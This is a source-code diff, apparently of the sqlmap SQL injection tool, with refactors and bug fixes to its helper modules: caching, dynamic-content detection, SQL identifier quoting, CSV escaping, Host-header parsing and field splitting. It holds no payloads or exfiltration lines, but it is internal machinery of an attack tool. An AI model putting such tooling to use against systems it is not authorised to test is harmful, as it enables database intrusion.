                         retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
                     count += 1
@@ -2459,7 +2514,7 @@ def getSQLSnippet(dbms, sfile, **variables):
         retVal = retVal.replace(_, randomStr())
 
     for _ in re.findall(r"%RANDINT\d+%", retVal, re.I):
-        retVal = retVal.replace(_, randomInt())
+        retVal = retVal.replace(_, getText(randomInt()))
 
     variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I)
 
@@ -2485,19 +2540,23 @@ def readCachedFileContent(filename, mode='r'):
     True
     """
 
-    if filename not in kb.cache.content:
+    content = kb.cache.content.get(filename)
+
+    if content is None:
         with kb.locks.cache:
-            if filename not in kb.cache.content:
+            content = kb.cache.content.get(filename)
+            if content is None:
                 checkFile(filename)
                 try:
                     with openFile(filename, mode) as f:
-                        kb.cache.content[filename] = f.read()
+                        content = f.read()
+                        kb.cache.content[filename] = content
                 except (IOError, OSError, MemoryError) as ex:
                     errMsg = "something went wrong while trying "
                     errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
                     raise SqlmapSystemException(errMsg)
 
-    return kb.cache.content[filename]
+    return content
 
 def average(values):
     """
@@ -2714,7 +2773,7 @@ def getPartRun(alias=True):
 
 def longestCommonPrefix(*sequences):
     """
-    Returns longest common prefix occuring in given sequences
+    Returns longest common prefix occurring in given sequences
 
     # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
 
@@ -2880,9 +2939,6 @@ def extractErrorMessage(page):
     retVal = None
 
     if isinstance(page, six.string_types):
-        if wasLastResponseDBMSError():
-            page = re.sub(r"<[^>]+>", "", page)
-
         for regex in ERROR_PARSING_REGEXES:
             match = re.search(regex, page, re.IGNORECASE)
 
@@ -2893,6 +2949,7 @@ def extractErrorMessage(page):
                     break
 
         if not retVal and wasLastResponseDBMSError():
+            page = re.sub(r"<[^>]+>", "", page)
             match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
 
             if match:
@@ -2908,6 +2965,7 @@ def findLocalPort(ports):
     retVal = None
 
     for port in ports:
+        s = None
         try:
             try:
                 s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -2919,10 +2977,11 @@ def findLocalPort(ports):
         except socket.error:
             pass
         finally:
-            try:
-                s.close()
-            except socket.error:
-                pass
+            if s is not None:
+                try:
+                    s.close()
+                except socket.error:
+                    pass
 
     return retVal
 
@@ -2968,11 +3027,10 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
             result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
         else:
             result = value
-            charset = set(string.printable) - set(unsafe)
 
             def _(match):
                 char = decodeHex(match.group(1), binary=False)
-                return char if char in charset else match.group(0)
+                return char if char not in unsafe else match.group(0)
 
             if spaceplus:
                 result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
@@ -3114,7 +3172,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
 
 def enumValueToNameLookup(type_, value_):
     """
-    Returns name of a enum member with a given value
+    Returns name of an enum member with a given value
 
     >>> enumValueToNameLookup(SORT_ORDER, 100)
     'LAST'
@@ -3172,6 +3230,45 @@ def extractTextTagContent(page):
 
     return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))
 
+def extractStructuralTokens(page):
+    """
+    Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a
+    (HTML) page, discarding all textual content. Used for structure-aware page comparison when the
+    page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so
+    that dynamic text does not perturb the comparison while a structural change (e.g. a results
+    table appearing or disappearing) still does. HTML counterpart of jsonMinimize()
+
+    >>> sorted(extractStructuralTokens(u'<div id="g" class="a b"><span>x</span></div>')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span']
+    True
+    >>> extractStructuralTokens(u'<table><tr><td>1</td></tr></table>') == set([u'tag:table', u'tag:tr', u'tag:td'])
+    True
+    >>> extractStructuralTokens(u'') == set()
+    True
+    """
+
+    page = page or ""
+
+    if REFLECTED_VALUE_MARKER in page:
+        page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page)
+
+    page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>", " ", page)
+
+    retVal = set()
+
+    for match in re.finditer(STRUCTURAL_TAG_REGEX, page):
+        tag = match.group(1).lower()
+        attrs = match.group(2) or ""
+        retVal.add("tag:%s" % tag)
+        for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs):
+            for value in (_.group(1) or _.group(2) or _.group(3) or "").split():
+                retVal.add("cls:%s.%s" % (tag, value))
+        for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs):
+            value = (_.group(1) or _.group(2) or _.group(3) or "").strip()
+            if value:
+                retVal.add("id:%s#%s" % (tag, value))
+
+    return retVal
+
 def trimAlphaNum(value):
     """
     Trims alpha numeric characters from start and ending of a given value
@@ -3232,11 +3329,15 @@ def aliasToDbmsEnum(dbms):
 
     return retVal
 
-def findDynamicContent(firstPage, secondPage):
+def findDynamicContent(firstPage, secondPage, merge=False):
     """
     This function checks if the provided pages have dynamic content. If they
     are dynamic, proper markings will be made
 
+    Note: with merge=True the newly found markings are accumulated into the
+    existing ones (e.g. when refining across multiple original-page samples)
+    instead of replacing them
+
     >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
     >>> kb.dynamicMarkings
     [('natum reque et per. ', 'Facer tritani repreh')]
@@ -3249,7 +3350,9 @@ def findDynamicContent(firstPage, secondPage):
     singleTimeLogMessage(infoMsg)
 
     blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
-    kb.dynamicMarkings = []
+
+    if not merge:
+        kb.dynamicMarkings = []
 
     # Removing too small matching blocks
     for block in blocks[:]:
@@ -3278,7 +3381,7 @@ def findDynamicContent(firstPage, secondPage):
                 suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH]
 
                 for _ in (firstPage, secondPage):
-                    match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _)
+                    match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _)
                     if match:
                         infix = match.group(1)
                         if infix[0].isalnum():
@@ -3287,7 +3390,9 @@ def findDynamicContent(firstPage, secondPage):
                             suffix = trimAlphaNum(suffix)
                         break
 
-            kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))
+            marking = (prefix if prefix else None, suffix if suffix else None)
+            if marking not in kb.dynamicMarkings:  # Note: avoiding duplicates (e.g. when accumulating markings across samples)
+                kb.dynamicMarkings.append(marking)
 
     if len(kb.dynamicMarkings) > 0:
         infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
@@ -3306,11 +3411,11 @@ def removeDynamicContent(page):
             if prefix is None and suffix is None:
                 continue
             elif prefix is None:
-                page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
+                page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
             elif suffix is None:
                 page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
             else:
-                page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
+                page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
 
     return page
 
@@ -3562,7 +3667,7 @@ def setOptimize():
     """
 
     # conf.predictOutput = True
-    conf.keepAlive = True
+    # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
     conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
 
@@ -3690,8 +3795,8 @@ def unArrayizeValue(value):
     if isListLike(value):
         if not value:
             value = None
-        elif len(value) == 1 and not isListLike(value[0]):
-            value = value[0]
+        elif len(value) == 1 and not isListLike(next(iter(value))):  # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable
+            value = next(iter(value))
         else:
             value = [_ for _ in flattenValue(value) if _ is not None]
             value = value[0] if len(value) > 0 else None
@@ -3821,6 +3926,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
     if 'b' in mode:
         buffering = 0
         encoding = None
+    elif buffering == 1 and codecs_open is codecs.open:
+        # codecs.open() always opens the underlying file in binary mode, where line buffering
+        # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is
+        # silently downgraded to the default buffer size anyway. Request that default explicitly
+        # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1
+        # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path).
+        buffering = -1
 
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
@@ -4013,7 +4125,7 @@ def createGithubIssue(errMsg, excMsg):
             pass
 
         data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
-        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1])
         req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
         try:
@@ -4117,6 +4229,9 @@ def intersect(containerA, containerB, lowerCase=False):
 def decodeStringEscape(value):
     """
     Decodes escaped string values (e.g. "\\t" -> "\t")
+
+    >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b"
+    True
     """
 
     retVal = value
@@ -4131,6 +4246,9 @@ def decodeStringEscape(value):
 def encodeStringEscape(value):
     """
     Encodes escaped string values (e.g. "\t" -> "\\t")
+
+    >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb"
+    True
     """
 
     retVal = value
@@ -4171,7 +4289,12 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
 
                     # Note: naive approach
                     retVal = content.replace(payload, REFLECTED_VALUE_MARKER)
-                    retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER)
+
+                    # Note: guard against an empty needle (payload composed solely of word chars), as
+                    # str.replace("", X) would insert X between every character and explode the page
+                    _stripped = re.sub(r"\A\w+", "", payload)
+                    if _stripped:
+                        retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER)
 
                     if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
                         regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
@@ -4278,7 +4401,10 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     '[begin]'
     >>> getText(safeSQLIdentificatorNaming("foobar"))
     'foobar'
-    >>> kb.forceDbms = popValue()
+    >>> kb.forcedDbms = DBMS.FIREBIRD
+    >>> getText(safeSQLIdentificatorNaming("foo bar"))
+    '"foo bar"'
+    >>> kb.forcedDbms = popValue()
     """
 
     retVal = name
@@ -4298,9 +4424,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
             if not conf.noEscape:
                 retVal = unsafeSQLIdentificatorNaming(retVal)
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                     retVal = "`%s`" % retVal
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
                     retVal = "\"%s\"" % retVal
                 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                     retVal = "\"%s\"" % retVal.upper()
@@ -4337,9 +4463,9 @@ def unsafeSQLIdentificatorNaming(name):
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
             retVal = name.replace("\"", "")
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
             retVal = name.replace("\"", "").upper()
@@ -4485,14 +4611,20 @@ def safeCSValue(value):
     '"foo, bar"'
     >>> safeCSValue('foobar')
     'foobar'
+    >>> safeCSValue('foo\\rbar')
+    '"foo\\rbar"'
+    >>> safeCSValue('foo"bar') == '"foo""bar"'
+    True
     """
 
     retVal = value
 
+    # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an
+    # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose
+    # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"')
     if retVal and isinstance(retVal, six.string_types):
-        if not (retVal[0] == retVal[-1] == '"'):
-            if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
-                retVal = '"%s"' % retVal.replace('"', '""')
+        if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')):
+            retVal = '"%s"' % retVal.replace('"', '""')
 
     return retVal
 
@@ -4524,8 +4656,6 @@ def randomizeParameterValue(value):
 
     retVal = value
 
-    retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
-
     def _replace_upper(match):
         original = match.group()
         while True:
@@ -4547,9 +4677,15 @@ def randomizeParameterValue(value):
             if candidate != original:
                 return candidate
 
-    retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
-    retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
-    retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
+    def _randomize(segment):
+        segment = re.sub(r"[A-Z]+", _replace_upper, segment)
+        segment = re.sub(r"[a-z]+", _replace_lower, segment)
+        segment = re.sub(r"[0-9]+", _replace_digit, segment)
+        return segment
+
+    # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters;
+    # deleting (or randomizing) the %XX would change the value's decoded content and byte length
+    retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal))
 
     if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
         parts = retVal.split('.')
@@ -4764,11 +4900,15 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
                 retVal.add(target)
 
     for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
-        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        try:
+            url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        except ValueError:
+            continue
+
         data = ""
 
-        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
-            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)):
+            data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER)
 
         data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
         retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
@@ -4833,6 +4973,10 @@ def getHostHeader(url):
 
     >>> getHostHeader('http://www.target.com/vuln.php?id=1')
     'www.target.com'
+    >>> getHostHeader('http://[::1]:8080/vuln.php?id=1')
+    '[::1]:8080'
+    >>> getHostHeader('http://[::1]/vuln.php?id=1')
+    '[::1]'
     """
 
     retVal = url
@@ -4840,10 +4984,11 @@ def getHostHeader(url):
     if url:
         retVal = _urllib.parse.urlparse(url).netloc
 
-        if re.search(r"http(s)?://\[.+\]", url, re.I):
-            retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
-        elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
-            retVal = retVal.split(':')[0]
+        # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are
+        # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports
+        # (e.g. '[::1]:8080') as required by RFC 7230
+        if any(retVal.endswith(':%d' % _) for _ in (80, 443)):
+            retVal = retVal[:retVal.rfind(':')]
 
     if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
         retVal = "[%s]" % retVal
@@ -4939,7 +5084,14 @@ def incrementCounter(technique):
     Increments query counter for a given technique
     """
 
-    kb.counters[technique] = getCounter(technique) + 1
+    # Note: the read-modify-write must be atomic since worker threads increment concurrently;
+    # guard with the shared 'count' lock when available (it is absent in isolated/doctest use)
+    lock = kb.locks.count if kb.get("locks") else None
+    if lock is not None:
+        with lock:
+            kb.counters[technique] = getCounter(technique) + 1
+    else:
+        kb.counters[technique] = getCounter(technique) + 1
 
 def getCounter(technique):
     """
@@ -5241,10 +5393,21 @@ def zeroDepthSearch(expression, value):
     retVal = []
 
     depth = 0
-    for index in xrange(len(expression)):
-        if expression[index] == '(':
+    quote = None
+    index = 0
+    while index < len(expression):
+        char = expression[index]
+        if quote:  # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y')
+            if char == quote:
+                if index + 1 < len(expression) and expression[index + 1] == quote:  # escaped quote (e.g. '')
+                    index += 1
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+        elif char == '(':
             depth += 1
-        elif expression[index] == ')':
+        elif char == ')':
             depth -= 1
         elif depth == 0:
             if value.startswith('[') and value.endswith(']'):
@@ -5252,6 +5415,7 @@ def zeroDepthSearch(expression, value):
                     retVal.append(index)
             elif expression[index:index + len(value)] == value:
                 retVal.append(index)
+        index += 1
 
     return retVal
 
@@ -5261,14 +5425,45 @@ def splitFields(fields, delimiter=','):
 
     >>> splitFields('foo, bar, max(foo, bar)')
     ['foo', 'bar', 'max(foo,bar)']
+    >>> splitFields("a, 'b, c', d")
+    ['a', "'b, c'", 'd']
+    >>> splitFields('a; b; max(c; d)', delimiter=';')
+    ['a', 'b', 'max(c;d)']
     """
 
-    fields = fields.replace("%s " % delimiter, delimiter)
-    commas = [-1, len(fields)]
-    commas.extend(zeroDepthSearch(fields, ','))
-    commas = sorted(commas)
+    # collapse "<delimiter> " -> "<delimiter>" but only OUTSIDE quoted string literals, so a
+    # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch)
+    normalized = []
+    quote = None
+    index = 0
+    while index < len(fields):
+        char = fields[index]
+        if quote:
+            normalized.append(char)
+            if char == quote:
+                if index + 1 < len(fields) and fields[index + 1] == quote:  # escaped quote (e.g. '')
+                    normalized.append(fields[index + 1])
+                    index += 2
+                    continue
+                else:
+                    quote = None
+        elif char in ('"', "'"):
+            quote = char
+            normalized.append(char)
+        elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ':
+            normalized.append(char)  # keep the delimiter, drop the single trailing space
+            index += 2
+            continue
+        else:
+            normalized.append(char)
+        index += 1
 
-    return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])]
+    fields = "".join(normalized)
+    splits = [-1, len(fields)]
+    splits.extend(zeroDepthSearch(fields, delimiter))
+    splits = sorted(splits)
+
+    return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])]
 
 def pollProcess(process, suppress_errors=False):
     """
@@ -5427,8 +5622,10 @@ def parseRequestFile(reqFile, checkParams=True):
                     key, value = line.split(":", 1)
                     value = value.strip().replace("\r", "").replace("\n", "")
 
-                    # Note: overriding values with --headers '...'
-                    match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
+                    # Note: overriding values with --headers '...'; the lookbehind prevents the key
+                    # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host'
+                    # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header
+                    match = re.search(r"(?i)(?<![\w-])(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
                     if match:
                         key, value = match.groups()
 
@@ -5551,7 +5748,12 @@ def unsafeVariableNaming(value):
     """
 
     if value.startswith(EVALCODE_ENCODED_PREFIX):
-        value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        # Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined
+        # name that merely happens to start with the prefix (e.g. via --eval) is left intact
+        try:
+            value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
+        except (binascii.Error, ValueError, TypeError):
+            pass
 
     return value
 
@@ -5650,3 +5852,28 @@ def checkSums():
                     break
 
     return retVal
+
+def safeCompareStrings(a, b):
+    """
+    Constant-time string comparison to prevent timing attacks.
+    >>> safeCompareStrings("test", "test")
+    True
+    >>> safeCompareStrings("test", None)
+    False
+    >>> safeCompareStrings("test1", "test2")
+    False
+    """
+    if a is None or b is None:
+        return a == b
+
+    if hasattr(hmac, "compare_digest"):
+        return hmac.compare_digest(a, b)
+
+    # Fallback for Python < 2.7.7 and < 3.3
+    if len(a) != len(b):
+        return False
+
+    result = 0
+    for x, y in zip(a, b):
+        result |= ord(x) ^ ord(y)
+    return result == 0

lib/core/compat.py

@@ -280,40 +280,30 @@ else:
     xrange = xrange
     buffer = buffer
 
+try:
+    RecursionError = RecursionError
+except NameError:
+    # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5)
+    RecursionError = RuntimeError
+
 def LooseVersion(version):
     """
     >>> LooseVersion("1.0") == LooseVersion("1.0")
     True
     >>> LooseVersion("1.0.1") > LooseVersion("1.0")
     True
-    >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1")
-    True
     >>> LooseVersion("1.0.11") < LooseVersion("1.0.111")
     True
-    >>> LooseVersion("foobar") > LooseVersion("1.0")
-    False
-    >>> LooseVersion("1.0") > LooseVersion("foobar")
-    False
-    >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3")
+    >>> LooseVersion("8.0.22") > LooseVersion("8.0.2")
     True
-    >>> LooseVersion("8.0.22-0ubuntu0.20.04.2")
-    8.000022
+    >>> LooseVersion("1.0alpha-beta-gama")
+    (1, 0)
     """
-
     match = re.search(r"\A(\d[\d.]*)", version or "")
-
     if match:
-        result = 0
-        value = match.group(1)
-        weight = 1.0
-        for part in value.strip('.').split('.'):
-            if part.isdigit():
-                result += int(part) * weight
-            weight *= 1e-3
+        return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit())
     else:
-        result = float("NaN")
-
-    return result
+        return ()
 
 # NOTE: codecs.open re-implementation (deprecated in Python 3.14)
 

lib/core/convert.py

@@ -35,9 +35,11 @@ from thirdparty.six.moves import html_parser
 from thirdparty.six.moves import collections_abc as _collections
 
 try:
-    from html import escape as htmlEscape
+    from html import escape as _escape
 except ImportError:
-    from cgi import escape as htmlEscape
+    from cgi import escape as _escape
+
+htmlEscape = _escape
 
 def base64pickle(value):
     """
@@ -45,6 +47,8 @@ def base64pickle(value):
 
     >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
     True
+    >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray)
+    True
     """
 
     retVal = None
@@ -283,6 +287,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
 
     >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
     True
+    >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt"
+    True
     """
 
     retVal = value
@@ -316,7 +322,8 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
                 retVal = value.encode(UNICODE_ENCODING, errors="replace")
 
             if unsafe:
-                retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = re.sub(b"(?<!\\\\)\\\\x([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), retVal)
+                retVal = retVal.replace(b"\\\\x", b"\\x")
 
     return retVal
 
@@ -412,6 +419,8 @@ def stdoutEncode(value):
     Returns textual representation of a given value safe for writing to stdout
     >>> stdoutEncode(b"foobar")
     'foobar'
+    >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"}
+    True
     """
 
     if value is None:
@@ -437,7 +446,8 @@ def stdoutEncode(value):
         if isinstance(value, (bytes, bytearray)):
             value = getUnicode(value, encoding)
         elif not isinstance(value, str):
-            value = str(value)
+            # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054
+            return value
 
         try:
             retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
@@ -454,6 +464,9 @@ def stdoutEncode(value):
 
     return retVal
 
+# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7)
+_HAS_ISASCII = hasattr(str, "isascii")
+
 def getConsoleLength(value):
     """
     Returns console width of unicode values
@@ -465,7 +478,15 @@ def getConsoleLength(value):
     """
 
     if isinstance(value, six.text_type):
-        retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
+        # Fast path: ASCII values have no wide (>= U+3000) characters, so their
+        # console width is simply their length. str.isascii() (Python 3.7+) is a
+        # C-level scan, far cheaper than the per-character generator below (which
+        # stays for the rare wide-character case and for Python 2). This runs
+        # once per dumped cell, so it dominates large table dumps.
+        if _HAS_ISASCII and value.isascii():
+            retVal = len(value)
+        else:
+            retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
     else:
         retVal = len(value)
 

lib/core/datatype.py

@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
 
 import copy
 import threading
-import types
 
 from thirdparty.odict import OrderedDict
 from thirdparty.six.moves import collections_abc as _collections
@@ -151,7 +150,7 @@ class LRUDict(object):
     def get(self, key, default=None):
         try:
             return self.__getitem__(key)
-        except:
+        except (KeyError, TypeError):
             return default
 
     def __setitem__(self, key, value):

lib/core/decorators.py

@@ -59,15 +59,19 @@ def cachedmethod(f):
                     return cache[key]
 
         except TypeError:
-            # Note: fallback (slowpath(
-            if kwargs:
-                key = (_freeze(args), _freeze(kwargs))
-            else:
-                key = _freeze(args)
+            # Note: fallback (slow-path) for unhashable arguments
+            try:
+                if kwargs:
+                    key = (_freeze(args), _freeze(kwargs))
+                else:
+                    key = _freeze(args)
 
-            with lock:
-                if key in cache:
-                    return cache[key]
+                with lock:
+                    if key in cache:
+                        return cache[key]
+            except TypeError:
+                # Note: genuinely uncacheable arguments; skip caching altogether
+                return f(*args, **kwargs)
 
